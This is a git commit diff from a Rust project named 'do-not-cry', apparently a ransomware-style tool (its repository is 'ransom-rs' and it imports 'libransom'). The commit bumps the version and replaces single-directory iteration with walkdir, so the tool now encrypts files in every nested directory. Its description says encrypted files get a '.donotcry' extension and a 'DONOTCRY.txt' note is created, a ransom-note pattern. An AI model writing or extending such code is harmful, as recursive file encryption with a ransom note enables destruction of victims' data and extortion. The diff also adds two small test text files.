feat: encrypt recursively directories inside root directory

Cargo.toml

@@ -2,7 +2,7 @@
 name = "do-not-cry"
 authors = ["RotrixX <[email protected]>"]
 description = "Encrypt and decrypt directories/files using Aes cipher. When encrypting, DONOTCRY.txt file will be created and all files will have .donotcry extension."
-version = "1.2.1"
+version = "1.3.0"
 edition = "2021"
 license = "GPL-3.0-or-later"
 repository = "https://github.com/RotrixLOL/ransom-rs"
@@ -23,3 +23,4 @@ path = "src/main.rs"
 [dependencies]
 colored = "2.0.0"
 libaes = "0.6.4"
+walkdir = "2.3.2"

src/main.rs

@@ -1,5 +1,6 @@
 use libransom::encrypt_or_decrypt;
 use std::{env, fs};
+use walkdir::WalkDir;
 
 fn main() {
     let args: Vec<_> = env::args().collect();
@@ -24,13 +25,12 @@ fn main() {
 
     // Check if the input is a file or a directory
     if fs::metadata(args[2].clone()).unwrap().is_dir() {
-        let entries = fs::read_dir(args[2].clone()).unwrap();
+        // let entries = fs::read_dir(args[2].clone()).unwrap();
 
-        // Iterate over files in directory and encrypt or decrypt them
-        for raw_entry in entries {
-            let entry = raw_entry.unwrap();
+        // Iterate over files and directories inside a directory and encrypt or decrypt them
+        for entry in WalkDir::new(args[2].clone()).into_iter().filter_map(|e| e.ok()) {
 
-            if entry.file_type().unwrap().is_file() {
+            if entry.file_type().is_file() {
                 encrypt_or_decrypt(entry.path().to_str().unwrap(), args[1].clone().as_str());
             }
         }

test_files/dir/another/another_one.txt

@@ -0,0 +1 @@
+hello world

test_files/dir/test.txt

@@ -0,0 +1 @@
+hey, this is a file inside a directory